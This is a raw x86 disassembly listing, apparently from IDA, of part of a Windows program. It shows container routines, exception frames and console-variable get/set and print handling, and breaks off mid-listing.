push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax call near ptr 77C1BF18h nop fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- byte_40B860 db 20h dup(0CCh) ; DATA XREF: Themida_:005A1D5Do ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 24h push 5DCh call near ptr 29B0000h nop lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; 